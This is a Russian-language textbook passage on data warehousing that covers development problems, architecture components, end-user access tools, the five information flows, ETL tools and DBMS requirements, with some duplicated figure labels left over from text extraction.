Ниже перечислены потенциальные проблемы, связанные с разработкой и сопровождением хранилищ данных (Greenfield, 1996).
Недооценка ресурсов, необходимых для загрузки данных.
Скрытые проблемы источников данных.
Отсутствие требуемых данных в имеющихся архивах. "
Повышение требований конечных пользователей.
Гомогенизация данных.
Высокие требования к ресурсам.
Владение данными.
Сложное сопровождение.
Долговременный характер проектов.
Сложности интеграции.
Недооценка ресурсов, необходимых для загрузки данных
Многие разработчики склонны недооценивать время, необходимое для извлечения, очистки и загрузки данных в хранилище. На выполнение этого процесса может потребоваться до 80% общего времени разработки (Inmon, 1990), хотя эту долю можно существенно сократить при использовании более совершенных инструментов очистки и сопровождения данных.
Скрытые проблемы источников данных
Скрытые проблемы, связанные с источниками данных, поставляющими информацию в хранилище, могут быть обнаружены только спустя несколько лет после начала их эксплуатации. При этом разработчику придется принять решение об устранении возникших проблем в хранилище данных и/или в источниках данных. Например, при вводе данных о новом объекте недвижимости некоторые поля могут остаться незаполненными (NULL) в результате того, что сотрудник в свое время ввел в базу данных неполные сведения об этом объекте, невзирая на то, что они имелись в наличии.
Отсутствие требуемых данных в имеющихся архивах
В хранилищах данных часто возникает потребность получить некоторые сведения, которые не учитывались в оперативных системах, служащих источниками данных. В таком случае организация должна решить, стоит ей модифицировать существующие OLTP-системы или же лучше создать новую систему по сбору недостающих данных. В учебном проекте DreamHome может возникнуть необходимость анализа характеристик некоторых событий, например регистрации новых клиентов и объектов недвижимости в каждом отделении компании. Однако в настоящее время это невозможно, поскольку для выполнения такого анализа недостает некоторых нужных сведений, например даты регистрации объектов или клиентов.
Повышение требований конечных пользователей
После того как конечные пользователи получат в свое распоряжение инструменты составления запросов и отчетов, их требования к помощи и консультациям сотрудников информационной службы организации скорее возрастут, чем сократятся. Это вызвано тем, что пользователи хранилища данных начинают в большей степени осознавать истинные возможности и значение этого инструмента. Данную проблему можно частично разрешить, используя менее мощные, но простые и удобные инструменты либо уделяя большее внимание обучению пользователей. Еще одной причиной увеличения нагрузки на сотрудников информационной службы организации является то, что сразу после запуска хранилища данных возрастает количество пользователей и запросов, причем сложность запросов также существенно возрастает.
Гомогенизация данных
* Создание крупномасштабного хранилища данных может быть связано с решением серьезной задачи гомогенизации данных, что в итоге способно уменьшить ценность собранной информации. Например, при создании консолидированного и интегрированного представления данных организации разработчик хранилища данных может поддаться искушению подчеркнуть сходство, а не различие между данными, которые используются в таких разных прикладных областях, как продажа и аренда объектов недвижимости.
Высокие требования к ресурсам
Для хранилища данных может потребоваться огромный объем дисковой памяти. Для многих реляционных систем поддержки принятия решений используются схемы типа “звезда”, “снежинка” или “звезда-снежинка” (раздел 25.6). Все эти варианты приводят к созданию очень больших таблиц с фактическими данными (или таблиц фактов). При наличии множества размерностей фактических данных для хранения таблиц фактов вместе с итоговыми данными и индексами может потребоваться гораздо больше места, чем для хранения исходных необработанных данных.
Владение данными
Создание хранилища данных может потребовать изменить статус конечных пользователей в отношении прав владения данными. Наиболее критичные данные, которые ранее были доступны для просмотра и использования только отдельным подразделениями организации, занятым в определенных бизнес-сферах (например, продажа или маркетинг), теперь потребуется сделать доступными и другим сотрудникам организации.
Сложное сопровождение
Хранилища данных обычно характеризуются сложностью сопровождения, поскольку любая реорганизация бизнес-процессов или источников данных может повлиять на происходящие в них процессы. Для того чтобы хранилище данных всегда оставалось ценным ресурсом, необходимо, чтобы оно постоянно полностью соответствовало организации, работу которой оно поддерживает.
Долговременный характер проектов
Хранилище данных представляет собой единый информационный ресурс организации. Однако для его создания может потребоваться до трех лет, а потому многие организации строят также свои собственные магазины данных (раздел 25.5). Магазины данных (data marts) предназначены для поддержки работы только какого-то одного подразделения организации или одной ее прикладной области, а потому создать их можно гораздо быстрее.
Сложности интеграции
Наиболее важной частью процесса сопровождения хранилища данных являются его интеграционные возможности. Это значит, что организация должна потратить значительное количество времени для того, чтобы определить, насколько хорошо могут интегрироваться различные инструменты хранилища данных для получения искомого общего решения. Это довольно трудная задача, потому что для выполнения различных операций с хранилищем данных могут использоваться самые разные инструменты, которые должны слаженно совместно работать на пользу всей организации в целом.
Архитектура хранилища данных
В этом разделе представлен обзор общей архитектуры и основных компонентов хранилища данных (Anahory and Murray, 1997), а в следующих разделах этой главы подробно описываются связанные с хранилищами данных процессы, инструменты и технологии. Типичная архитектура хранилища данных показана на рис. 25.1.
Оперативные данные
Исходные данные, помещаемые в хранилище, поступают из следующих источников.
Оперативные данные мейнфреймов, содержащиеся в иерархических и сетевых базах данных первого поколения. По некоторым оценкам, большинство оперативных корпоративных данных хранится в системах этого типа.
Данные различных подразделений, сохраняемые в специализированных файловых системах типа VSAM, RMS и базах данных таких реляционных СУБД, как Informix и Oracle.
Закрытые данные, которые хранятся на рабочих станциях и закрытых серверах.
Внешние системы, например Internet, коммерчески доступные базы данных или базы данных, принадлежащие поставщикам или клиентами организации.
Менеджер загрузки
Менеджер загрузки (load manager), который часто называют внешним (front-end) компонентом, выполняет все операции, связанные с извлечением и загрузкой данных в хранилище. Эти операции включают простые преобразования данных, необходимые для их подготовки к вводу в хранилище. Размеры и сложность данного компонента могут варьироваться в значительной степени, поскольку в его состав обычно входят не только программы собственной разработки, но и инструменты, созданные сторонними поставщиками.
Средства доступа конечного пользователя
Архивные и резервные копии
Рис, 25.1. Типичная архитектура хранилища данных
Менеджер хранилища
Менеджер хранилища (warehouse manager) выполняет все операции, связанные с управлением информацией, помещенной в хранилище данных. Этот компонент также может включать программы собственной разработки и инструменты, предоставленные сторонними фирмами. Менеджер хранилища выполняет такие операции, как:
анализ непротиворечивости данных;
преобразование и перемещение исходных данных из временного хранилища в основные таблицы хранилища данных;
создание индексов и представлений для базовых таблиц;
денормализация данных(в случае необходимости);
обобщение данных (в случае необходимости);
резервное копирование и архивирование данных.
В некоторых случаях менеджер хранилища также генерирует профили запросов для определения необходимых индексов и требуемых предварительных обобщений данных. Профиль запроса может создаваться для отдельного пользователя, группы пользователей или хранилища данных в целом. Он строится на основе информации, описывающей такие характеристики запросов, как частота выполнения, набор используемых таблиц и размер результирующего набора данных.
Менеджер запросов
Менеджер запросов (query manager), который часто называют внутренним (back- end) компонентом, выполняет все операции, связанные с управлением пользовательскими запросами. Этот компонент обычно создается на базе предоставляемых разработчиком СУБД инструментов доступа к данным, инструментов мониторинга хранилища и программ собственной разработки, использующих весь набор функциональных возможностей СУБД. Сложность менеджера запросов определяется функциональными возможностями, предоставляемыми инструментами доступа к данным и самой СУБД. К числу выполняемых этим компонентом операций относятся управление запросами к соответствующим таблицам и составление графиков выполнения этих запросов.
В некоторых случаях менеджер запросов также генерирует профили запросов, позволяющие менеджеру хранилища определить набор необходимых индексов и обобщенных данных.
Детальные данные
В этой части хранилища данных хранятся все детальные данные, описанные в схеме базы данных. В большинстве случаев детальные данные хранятся не на оперативном уровне, а в виде информации, обобщенной до следующего уровня детализации. Как правило, детальные данные периодически добавляются в хранилище с автоматическим выполнением обобщения исходной информации до необходимого уровня.
Частично и глубоко обобщенные данные
В этой области хранилища размещаются все данные, предварительно обработанные менеджером хранилища с целью их частичного или глубокого обобщения (aggregate). Эта часть хранилища данных является временной, поскольку она постоянно подвергается изменениям в ответ на изменения профилей запросов.
Назначение обобщенных данных состоит в повышении производительности запросов. Хотя предварительное обобщение информации связано с некоторым повышением расходов на обслуживание, однако эти дополнительные затраты компенсируются за счет исключения необходимости многократно выполнять обобщающие операции (например, сортировку или группирование) при обработке каждого из запросов пользователей. Хранимые обобщенные данные обновляются по мере загрузки новых порций детальных данных в хранилище.
Архивные и резервные копии
Этот компонент хранилища данных отвечает за подготовку детальной и обобщенной информации к помещению в резервные и архивные копии. Хотя обобщенные данные генерируются на основе детальных, может потребоваться помещать в резервную копию заранее обобщенные данные, если предполагаемый период их хранения превышает срок хранения тех детальных данных, на основе которых они были созданы. Как правило, резервные и архивные копии размещаются на таких носителях, как магнитная лента или оптический диск.
Метаданные
В этой области хранилища данных хранятся все те метаданные (данные про данные), которые используются любыми процессами хранилища. Метаданные могут применяться для разных целей, включая перечисленные ниже.
Извлечение и загрузка данных. Метаданные используются для отображения источников данных на общее представление информации внутри хранилища.
Обслуживание хранилища. Метаданные применяются для автоматизации подготовки таблиц с обобщенными значениями.
Часть процесса обслуживания запросов. Метаданные используются для направления запроса к наиболее подходящему источнику данных.
Структура метаданных может отличаться для разных процессов, в зависимости от их назначения. Это значит, что для одного и того же элемента данных в хранилище может храниться сразу несколько вариантов метаданных. Кроме того, большинство фирм-разработчиков применяет собственные версии структуры метаданных в своих инструментах управления копированием данных и средствах доступа, предназначенных для конечных пользователей. В частности, инструменты управления копированием данных используют метаданные для определения правил отображения, которые необходимо применить для преобразования исходных данных в общепринятую форму. Средства доступа конечных пользователей к данным используют метаданные для выбора способа построения запроса. Управление метаданными внутри хранилища данных является очень сложной задачей, которую не следует недооценивать. Вопросы, связанные с управлением метаданными в хранилище данных, обсуждаются в разделе 25.4.3.
Средства доступа к данным конечного пользователя
Основным назначением хранилища данных является предоставление конечным пользователям информации, необходимой им для принятия стратегических решений. Пользователи взаимодействуют с хранилищем с помощью специальных инструментов доступа к данным. Само хранилище данных должно обеспечивать эффективное выполнение произвольных запросов и предоставлять средства проведения анализа. Высокая производительность хранилища данных достигается за счет тщательного предварительного планирования операций соединения, обобщения и составления периодических отчетов, которые могут потребоваться конечным пользователям.
Хотя определения пользовательских инструментов доступа к данным могут перекрываться, но в данном контексте мы разобьем их на пять основных групп (Berson and Smith, 1997):
инструменты создания отчетов и запросов;
инструменты разработки приложений;
инструменты информационной системы руководителя (Executive Information System — EIS);
инструменты оперативной аналитической обработки (OLAP-инструменты);
инструменты разработки данных.
Инструменты создания отчетов и запросов
Инструменты создания отчетов подразделяются на инструменты создания итоговых отчетов и редакторы отчетов. Инструменты создания итоговых отчетов используются для создания регулярных оперативных отчетов и для подготовки таких объемных пакетных заданий, как выписка заказов/счетов для клиентов или составление платежных ведомостей для выдачи зарплаты сотрудникам. Редакторы отчетов — это недорогие настольные инструменты, предназначенные для нужд конечных пользователей.
Инструменты создания запросов в реляционных СУБД служат для ввода или генерации SQL-команд, используемых для извлечения данных из хранилища. Подобные инструменты обычно скрывают от конечных пользователей сложность операторов языка SQL и структур баз данных — за счет вставки между пользователем и базой данных промежуточного метауровня. Метауровень — это программное обеспечение, которое предоставляет пользователю некоторое предметно-ориентированное представление содержимого базы данных и позволяет генерировать SQL-операторы с помощью визуаль-
ных инструментов типа “выбери и щелкни”. Примером подобного инструмента создания запросов является язык Query-By-Example (QBE). Возможности языка QBE, реализованные в СУБД Microsoft Access, были продемонстрированы в главе 15, “Язык QBE”. Различные инструменты создания запросов весьма популярны среди пользователей бизнес-приложений и могут применяться ими для любых целей, например для выполнения демографического анализа или подготовки почтовых списков рассылки клиентов организации. Однако по мере усложнения запросов такие инструменты очень быстро становятся неэффективными.
Инструменты разработки приложений
Требования конечных пользователей могут быть такими, что встроенные средства создания отчетов и инструменты создания запросов окажутся неадекватными — либо из-за того, что требуемый анализ не может быть ими выполнен в принципе, либо из- за того, что пользователю потребуется иметь чрезвычайно высокую квалификацию и немалый опыт. В такой ситуации для обеспечения доступа пользователей к требуемой информации потребуется разработка собственных приложений с использованием графических сред доступа к данным, предназначенных для использования в системах архитектуры “клиент/сервер”. Некоторые из этих платформ разработки приложений интегрируются с популярными OLAP-инструментами. Они позволяют осуществлять доступ ко всем основным типам СУБД, включая Oracle, Sybase и Informix. Примерами подобных платформ разработки приложений являются PowerBuilder фирмы PowerSoft, Visual Basic фирмы Microsoft, Forte фирмы Forte Software и Business Objects фирмы Business Objects.
Инструменты информационной системы руководителя
Информационные системы руководителя (Executive Information System — EIS), которые в последнее время стали называть “информационными системами для всех” (Everybody Information System — EIS), первоначально разрабатывались для поддержки принятия высокоуровневых стратегических решений. Однако впоследствии область применения этих систем была несколько расширена с целью предоставления поддержки управляющему персоналу всех уровней. На начальном этапе EIS- инструменты были связаны с мейнфреймами и позволяли их пользователям создавать собственные приложения с графическим интерфейсом, предназначенные для поддержки принятия решений за счет создания обобщающего представления о данных организации и предоставления доступа к внешним источникам данных.
На современном рынке граница между EIS-инструментами и другими инструментами поддержки принятия решений стала еще более размытой, так как разработчики EIS- инструментов добавляют в свои продукты средства создания запросов и предоставляют специализированные приложения для таких областей бизнеса, как торговля, маркетинг и финансы. Примерами EIS-инструментов являются продукты Lightship фирмы Pilot Software, Forest and Trees фирмы Platinum Technologies и Express Analyzer фирмы Oracle.
OLAP-инструменты
Инструменты оперативной аналитической обработки данных, или OLAP- инструменты, создаются на основе концепции многомерной базы данных. Они позволяют квалифицированным пользователям анализировать данные с помощью сложных многомерных представлений. Типичные бизнес-приложения для этих инструментов включают оценку эффективности маркетинговой кампании, предсказание объемов продаж и планирование товарных запасов. При использовании подобных инструментов предполагается, что данные организованы согласно многомерной модели, которая поддерживается специальной многомерной базой данных (MultiDimensional Database — MDDB) или реляционной базой данных, предназначенной для работы с многомерными запросами. Более подробно OLAP-инструменты рассматриваются в разделе 26.1.
Инструменты разработки данных
Разработка данных — это процесс открытия новых осмысленных корреляций, распределений и тенденций путем переработки огромного количества информации, извлеченной из хранилища или магазина данных (раздел 25.5), с использованием статистических и математических методов, а также методов искусственного интеллекта. Методы разработки данных обладают достаточным потенциалом, чтобы превзойти возможности OLAP-инструментов, так как главным притягательным фактором использования технологии разработки данных является способность создавать предсказательные, а не ретроспективные модели. Более подробно речь о разработке данных пойдет в разделе 26.2.
Информационные потоки в хранилище данных
В этом разделе мы рассмотрим те действия, которые осуществляются при обработке различных массивов (или потоков) информации внутри хранилища данных.
В технологии хранилищ данных основное внимание уделяется управлению пятью основными информационными потоками: входным, восходящим, нисходящим, выходным и метапотоком (Hackathorn, 1995). Место этих потоков в структуре хранилища данных схематически показано на рис. 25.2.
Входной потокВходной потокИсточник оперативных данных пИсточник оперативных данных пИсточник оперативных данных 1Источник оперативных данных 1Инструменты разработки данныхИнструменты разработки данныхСредства доступа конечного пользователяСредства доступа конечного пользователяНисходящий потокНисходящий потокЗапросы генерации отчетов, разработка приложений и инструменты EISЗапросы генерации отчетов, разработка приложений и инструменты EIS1 Менеджер хранилища1 Менеджер хранилищаВыходнойпотокВыходнойпотокМенеджерзагрузкиМенеджерзагрузкиМенеджер запросМенеджер запросИнструменты OLAPИнструменты OLAPМенеджер хранилищаМенеджер хранилищаvvАрхивныеи резервные копииАрхивныеи резервные копии
Входной поток
Входной поток
Источник оперативных данных п
Источник оперативных данных п
Источник оперативных данных 1
Источник оперативных данных 1
Инструменты разработки данных
Инструменты разработки данных
Средства доступа конечного пользователя
Средства доступа конечного пользователя
Нисходящий поток
Нисходящий поток
Запросы генерации отчетов, разработка приложений и инструменты EIS
Запросы генерации отчетов, разработка приложений и инструменты EIS
1 Менеджер хранилища
1 Менеджер хранилища
Выходнойпоток
Выходнойпоток
Менеджерзагрузки
Менеджерзагрузки
Менеджер запрос
Менеджер запрос
Инструменты OLAP
Инструменты OLAP
Менеджер хранилища
Менеджер хранилища
v
v
Архивныеи резервные копии
Архивныеи резервные копии
Рис. 25.2. Информационные потоки в хранилище данных
С каждым из этих потоков связаны определенные процессы, которые представлены ниже.
Входной поток — Восходящий поток —Нисходящий поток —Выходной поток — Метапоток —Входной поток — Восходящий поток —Нисходящий поток —Выходной поток — Метапоток —извлечение, очистка и загрузка исходных данных, повышение ценности сохраняемых в хранилище данных путем обобщения, упаковки и распределения исходных данных, архивирование и резервное копирование информации в хранилище.
Входной поток — Восходящий поток —
Нисходящий поток —
Выходной поток — Метапоток —
Входной поток — Восходящий поток —
Нисходящий поток —
Выходной поток — Метапоток —
предоставление данных пользователям.
управлением метаданными.
Входной поток
Входной Процессы, связанные с извлечением, очисткой и загрузкой информа- поток Ции из источников данных в хранилище данных.
Входной поток связан с выборкой информации из источников данных с целью их последующей загрузки в хранилище данных. Поскольку исходные данные генерируются преимущественно OLTP-системами, эти данные должны быть перестроены в соответствии с требованиями хранилища данных. Перестройка данных включает такие операции, как:
очистка данных;
преобразование данных в соответствии с требованиями хранилища данных, включая добавление и/или удаление полей и денормализацию данных;
проверка внутренней непротиворечивости данных и их непротиворечивости по отношению к данным, уже загруженным в хранилище.
Для эффективного управления входным потоком необходимо подобрать механизм определения момента начала извлечения данных с последующими выполнением требуемых преобразований и проверкой непротиворечивости данных. Для создания единого непротиворечивого представления корпоративных данных очень важно в процессе извлечения информации из источников убедиться в том, что она находится в согласованном состоянии. Сложность процесса извлечения информации зависит от степени взаимной согласованности между различными источниками данных.
Непосредственно после извлечения из источника данные обычно загружаются во временное хранилище с целью выполнения очистки и проверки непротиворечивости. Поскольку этот процесс достаточно сложен, важно, чтобы он был полностью автоматизирован и сопровождался выдачей сообщений о любых возникающих проблемах или сбоях. Для обслуживания входного потока на рынке предлагаются специальные коммерческие инструменты. Однако если требуемая процедура не является тривиальной, то в случае использования коммерческих инструментов потребуется выполнить их предварительную настройку.
Восходящий поток
Восходящий Процессы, связанные с повышением ценности сохраняемых в хра- потокнилище данных посредством обобщения, упаковки и распределе
ния исходных данных.
Обслуживание восходящего потока включает выполнение приведенных ниже действий.
Обобщение данных посредством операций выборки, проекции, соединения и группирования связанных данных, выполняемое для получения более удобных и полезных для пользователей представлений информации. Обобщение может включать выполнение не только простых реляционных one-
раций, но и проведение сложного статистического анализа, включая вычисление трендов, кластеризацию и подбор типичных значений.
Упаковка данных с преобразованием подробных исходных или обобщенных данных в более удобный формат представления, например в виде электронных таблиц, текстовых документов, диаграмм, других графических представлений, закрытых баз данных и анимированных материалов.
Распределение исходных данных на соответствующие группы для повышения их подготовленности к использованию и доступности.
Параллельно с планированием повышения ценности данных следует учитывать и требования увеличения общей производительности хранилища, а также снижения текущих расходов на его сопровождение. Все эти требования противоречат друг другу, что вынуждает разработчиков либо повышать производительность обработки запросов, либо сокращать расходы на сопровождение. Иначе говоря, администратор хранилища данных должен разработать проект базы данных, наиболее подходящий для удовлетворения всех существующих требований, для чего зачастую приходится идти на компромисс.
Нисходящий поток
Нисходящий Процессы, связанные с архивированием и резервным копировани- потокем информации в хранилище данных.
Архивирование устаревших данных играет важную роль при обеспечении высокой эффективности и производительности хранилища данных за счет переноса устаревших данных с ограниченной ценностью на архивный носитель, например на магнитную ленту или оптические диски. Однако если схема секционирования базы данных выполнена правильно, то общее количество оперативных данных не должно влиять на производительность хранилища данных (раздел 25.6).
Нисходящий поток информации включает процедуры, обеспечивающие возможность восстановления текущего состояния хранилища в случае потери данных из-за сбоев в программном или аппаратном обеспечении. Архивные данные следует хранить таким образом, чтобы в случае необходимости они снова могли быть восстановлены в хранилище данных.
Выходной поток
Выходной Процессы, связанные с предоставлением данных пользователям.
поток
Именно благодаря выходному потоку информации у сотрудников организации создается представление об истинной ценности хранилища данных. Полученные данные могут потребовать перестройки всех бизнес-процессов организации с целью повышения ее конкурентоспособности (Hackathorn, 1995).
В качестве основных действий, связанных с выходным потоком, следует упомянуть следующие.
Доступ к данным означает удовлетворение запросов конечных пользователей в отношении нужных им данных. Главное здесь заключается в создании такой среды, в которой пользователи смогли бы эффективно использовать инструменты создания запросов для получения доступа к наиболее подходящему источнику данных. Частота выполнения отдельных запросов пользователей может варьироваться от однократно выполняемого произвольного запроса до регулярно выполняемых запросов или даже запросов, выполняемых по установленному графику. При разработке графика вы. полнения запросов пользователей очень важно обеспечить использование системных ресурсов максимально эффективным образом.
Доставка означает предварительную доставку информации на рабочие станции конечных пользователей. Это относительно новая область обработки информации в хранилищах данных, связанная с процессами типа публика- ции/подписки. Хранилище данных публикует различные бизнес-объекты, которые периодически подвергаются ревизии в соответствии с установленными шаблонами использования. Пользователи могут подписаться на такой набор бизнес-объектов, который наилучшим образом отвечает их потребностям.
Важной особенностью управления выходным потоком является активная популяризация хранилища данных среди пользователей, что может оказать существенное влияние на функционирование всей организации. В числе дополнительных действий по обслуживанию выходного потока следует также назвать направление запросов к соответствующим целевым таблицам и обработку профилей запросов конкретных групп пользователей с целью выяснения, какие именно обобщения данных могут оказаться полезными.
Хранилища данных, содержащие обобщенные данные, потенциально предоставляют пользователям большее количество различных источников данных, способных дать ответ на их конкретные запросы. Сюда относятся как собственно исходные детальные сведения, так и произвольное количество выполненных на их основе обобщений, способных удовлетворить информационные потребности запросов пользователей. Однако производительность запроса может в значительной степени варьироваться — в зависимости от характеристик обрабатываемых данных. Наиболее очевидной такой характеристикой является объем считываемой информации. В состав действий по обслуживанию выходного потока входит и поиск системой наиболее эффективного способа выполнения запроса.
Метапоток
Метапоток Процессы, связанные с управлением метаданными.
Предыдущие потоки характеризуют управление хранилищем данных в отношении перемещения данных в хранилище и из него. Метапоток — это процесс, связанный с перемещением метаданных, т.е. данных о других потоках. Метаданные — это описание информационного содержания хранилища данных: что в нем содержится, откуда что поступает, какие операции выполнялись во время очистки, как осуществлялись интеграция и обобщение. Более подробно вопросы управления метаданными в хранилище данных рассматриваются в разделе 25.4.3.
В ответ на изменение бизнес-потребностей постепенно менялись и продолжают изменяться любые традиционные унаследованные системы. Поэтому при управлении хранилищем данных необходимо учитывать эти продолжающиеся изменения, т.е. принимать во внимание изменения традиционных источников данных и бизнес- среды. Таким образом, метапоток (метаданные) должен постоянно обновляться в соответствии с происходящими изменениями.
Инструменты и технологии хранилищ данных
Создание полностью интегрированного хранилища данных является чрезвычайно сложной задачей, поскольку нет такого разработчика, который смог бы предложить весь необходимый набор инструментов, — от начала и до конца. Поэтому создавать хранилища данных обычно приходится с использованием нескольких продуктов разных поставщиков. Полная интеграция и организация совместной работы используемых инструментов является чрезвычайно важной и сложной задачей. В этом разделе рассматриваются инструменты и технологии, используемые при создании и сопровождении хранилищ данных, а также уделяется необходимое внимание вопросам инте-
грации этих инструментов. Более подробную информацию об используемых в хранилищах данных инструментах и технологиях заинтересованный читатель сможет найти в работе Берсона и Смита (Berson and Smith» 1997).
Инструменты извлечения, очистки и преобразования данных
Выбор оптимальных инструментов извлечения, очистки и преобразования данных очень важен для успешного создания хранилища данных. Количество фирм- разработчиков, основное внимание которых обращено в сторону удовлетворения требований, предъявляемых к хранилищам данных, постоянно растет. Предлагаемые ими инструменты могут решать гораздо более сложные задачи, чем простое перемещения данных между разными аппаратными платформами. При этом задачи извлечения данных из источника, их очистки и преобразования с последующей загрузкой в конкретную систему могут быть выполнены либо с помощью нескольких разных программных продуктов, либо посредством применения единого интегрированного подхода. Подобные интегрированные решения делятся на следующие категории:
генераторы кода;
инструменты репликации информации базы данных;
механизмы динамического преобразования.
Генераторы кода
Генераторы кода создают настраиваемые преобразующие программы на языках третьего или четвертого поколения исходя из предоставленных им определений форматов входных и выходных данных. Основной проблемой этого подхода является необходимость управления большим количеством программ, которые потребуются для поддержки сложного корпоративного хранилища данных. Фирмы-разработчики признают наличие указанной проблемы, поэтому некоторые из них, применив такие методы, как конвейерная обработка и автоматическая разработка графиков, создали специальные управляющие компоненты.
Инструменты репликации информации базы данных
Данные инструменты используют триггеры баз данных или журналы регистрации транзакций для обнаружения изменений отдельных элементов данных в одной системе и переноса этих изменения в копию исходных данных, размещенную в другой системе (см. раздел 20.6). Большинство инструментов репликации не поддерживает обнаружения изменений в нереляционных файлах и базах данных и зачастую не имеет инструментов для значительного преобразования и очистки данных. Эти инструменты могут быть использованы для восстановления базы данных после сбоя или создания базы данных для магазина данных (раздел 25.5), но при условии, что количество источников данных невелико, а требуемое преобразование данных имеет относительно простой характер.
Механизмы динамического преобразования
Исходя из установленных правил, механизмы динамического преобразования извлекают данные из источника через определенные пользователем интервалы времени, преобразуют их, а затем отсылают и загружают обработанную информацию в указанное место назначения. На сегодняшний день большинство программных продуктов поддерживает только реляционные источники данных, однако в последнее время стали появляться продукты, способные работать и с нереляционными исходными файлами и базами данных.
Примерами инструментов преобразования данных являются пакеты Enterprise/ Access фирмы Apertus Corporation, Warehouse Manager фирмы Prism Solutions, PASSPORT и Metacenter фирмы Carleton Corporation, ETI-EXTRACT фирмы Evolutionary Technologies Inc., Powermart Suite фирмы Informatica.
СУБД для хранилища данных
СУБД для хранилищ данных очень редко бывает источником проблем интеграции. Благодаря относительной зрелости таких программных продуктов, большинство реляционных баз данных интегрируется с другими типами программного обеспечение вполне предсказуемым образом. Однако потенциальным источником проблем может послужить большой размер базы данных хранилища. При работе с подобной базой данных становится особенно важным обеспечение параллельности, а также таких традиционно важных параметров, как высокая производительность, масштабируемость, готовность и управляемость, что обязательно следует принимать во внимание при выборе СУБД.
Сначала мы рассмотрим основные требования, предъявляемые к СУБД для хранилища данных, а затем кратко обсудим, как можно организовать в хранилищах данных параллельное выполнение вычислений.
Требования к СУБД для хранилища данных
Специализированные требования к реляционной СУБД (РСУБД), предназначенной для хранилища данных, были опубликованы в документе White Paper (Red Brick Systems, 1996). Вот эти требования.
Высокая производительность загрузки данных.
Возможность обработки данных во время загрузки.
Наличие средств управления качеством данных.
Высокая производительность запросов.
Широкая масштабируемость по размеру (до терабайт).
Масштабируемость по количеству пользователей.
Возможность организации сети хранилищ данных.
Наличие средств администрирования хранилища.
Поддержка интегрированного многомерного анализа.
Расширенный набор функциональных средств запросов
Высокая производительность загрузки данных
В хранилищах данных требуется периодически выполнять загрузку порций новых данных, причем в ограниченных временных рамках. Производительность процесса загрузки в подобных случаях должна измеряться в сотнях миллионов строк или гигабайтах данных в час. Со стороны бизнес-задач не существует никаких ограничений в отношении максимально допустимого уровня производительности.
Возможность обработки данных во время загрузки
При загрузке в хранилище новых или обновленных данных обычно требуется выполнение нескольких последовательных этапов, включающих преобразование данных, фильтрование, переформатирование, проверку целостности, физическое сохранение, индексирование и обновление метаданных. На практике каждый такой этап может выполняться по отдельности, однако в общем процесс загрузки должен выглядеть как единая неразрывная процедура.
Наличие средств управления качеством данных
Для перехода к управлению на основе фактической информации требуются данные высочайшего качества. В хранилище данных должна гарантироваться локальная непротиворечивость данных, глобальная непротиворечивость данных, а также целостность данных на уровне ссылок, даже несмотря на использование “грязных” источников данных и громадные размеры базы данных. Хотя загрузка и подготовка данных — необходимые шаги, они все же не являются достаточными. Лишь способность дать ответы на запросы конечных пользователей является действительной ме-
рой успешности создания хранилища данных. Анализ утверждает, что, чем больше ответов было успешно предоставлено пользователям, тем сложнее и изощреннее становятся очередные вводимые ими запросы.
Высокая производительность запросов
Управление на основе фактической информации и произвольный анализ не должны замедляться или стопориться из-за низкой производительности обработки запросов со стороны СУБД хранилища данных. Большие комплексные запросы для ключевых бизнес-операций должны завершаться за приемлемое время.
Широкая масштабируемость по размеру
Размеры хранилищ данных возрастают с огромной скоростью и достигают величин от сотен гигабайт до терабайт (1012 байт) и даже петабайт (1015 байт). Используемая РСУБД не должна иметь никаких архитектурных ограничений на размер базы данных и должна поддерживать модульное и параллельное управление. В случае сбоя РСУБД должна сохранять готовность к работе и предоставлять механизм восстановления до исходного состояния. РСУБД должна поддерживать работу с устройствами массовой памяти, например оптические диски или иерархические устройства хранения. Наконец, производительность выполнения запросов должна зависеть не от размера базы данных, а прежде всего от сложности самого запроса.
Масштабируемость по количеству пользователей
В настоящее время считается, что доступ к хранилищу данных будет ограничен только относительно небольшим кругом менеджеров. Однако маловероятно, что такая тенденция сохранится и при возрастании значения хранилищ данных. По некоторым оценкам, в недалеком будущем РСУБД для хранилищ данных должны будут поддерживать работу сотен и даже тысяч параллельно работающих пользователей, обеспечивая при этом приемлемую производительность выполнения их запросов.
Возможность организации сети хранилищ данных
Хранилище данных должно обладать способностью работать в большой сети, состоящей из многих хранилищ данных. Хранилище данных должно включать инструменты, которые координировали бы перемещение подмножеств данных между отдельными хранилищами. На своей рабочей станции пользователи должны иметь возможность просматривать и работать с содержимым нескольких хранилищ данных.
Наличие средств администрирования хранилища
Исключительно большой размер и цикличная природа хранилищ данных требует наличия простых и в то же время гибких инструментов администрирования. РСУБД должна предоставлять средства управления для ограничения ресурсов, подсчета накладных расходов для всех пользователей, а также систему установки приоритетов выполнения запросов для удовлетворения потребностей различных категорий пользователей и видов деятельности. РСУБД должна также иметь средства для отслеживания и настройки режимов рабочей нагрузки, необходимых для оптимизации производительности и пропускной способности системы. Наиболее очевидной и ощутимой ценностью реализации хранилища данных является беспрепятственный творческий доступ конечных пользователей к данным.
Поддержка многомерного интегрированного анализа
Ценность многомерных представлений — общепризнанный факт, а потому поддержка работы с ними непременно должна быть предусмотрена в РСУБД, используемой для организации хранилища данных, поскольку это является условием для обеспечения максимальной производительности реляционных OLAP-инструментов (раздел 26.1). РСУБД должна поддерживать быстрое и простое создание предварительно подготовленных итоговых значений для больших хранилищ данных, а также предоставлять инструменты для автоматизации процесса создания этих предвари-
тельно вычисленных обобщений. Динамическое вычисление обобщенных значений должно быть согласовано с требованиями обеспечения необходимого уровня производительности интерактивной работы пользователей.
Расширенный набор функциональных средств запросов' ■
Конечным пользователям необходимо иметь возможность выполнять аналитические вычисления, последовательный и сравнительный анализ, согласованный доступ к детальным и обобщенным данным. Использование языка SQL в клиент/серверной среде создания запросов по типу “выбери и щелкни” иногда может оказаться непрактичным или даже просто невозможным из-за высокой сложности пользовательских запросов. В РСУБД должен быть предусмотрен полный набор всех необходимых аналитических инструментов.
Параллельные СУБД
При работе с хранилищем данных обычно требуется обработать огромное количество данных, а технология параллельной работы с базами данных предлагает эффективное решение для обеспечения необходимого роста производительности. Успёш- ность работы параллельных СУБД зависит от эффективного управления многими ресурсами, например, таким, как процессоры, память, диски и сетевые подключения.
По мере возрастания популярности хранилищ данных фирмы-разработчики создают большие СУБД, предназначенные для систем поддержки принятия решений и использующие технологию организации параллельных вычислений. Основная цель состоит в решении поставленных пользователем задач с использованием нескольких узлов, параллельно работающих над одной и той же проблемой. Важнейшими характеристиками параллельных СУБД являются масштабируемость, оперативность и готовность.
